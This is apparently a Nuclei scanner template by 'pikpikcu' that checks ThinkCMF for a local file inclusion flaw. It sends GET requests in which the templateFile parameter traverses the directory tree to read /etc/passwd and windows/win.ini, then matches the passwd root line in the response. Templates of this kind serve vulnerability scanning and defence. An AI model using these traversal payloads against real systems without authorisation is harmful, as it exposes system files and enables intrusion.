id: thinkcmf-lfi

info:
  name: ThinkCMF LFI
  author: pikpikcu
  severity: high
  reference: https://www.freebuf.com/vuls/217586.html
  tags: thinkcmf,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/?a=display&templateFile=README.md"
      - "{{BaseURL}}/?a=display&templateFile=../../../../../../../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/?a=display&templateFile=../../../../../../../../../../../../../../../../windows/win.ini"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:[x*]:0:0:"
          - "\\[(font|extension|file)s\\]"
          - 'ThinkCMF'
        part: body

      - type: status
        status:
          - 200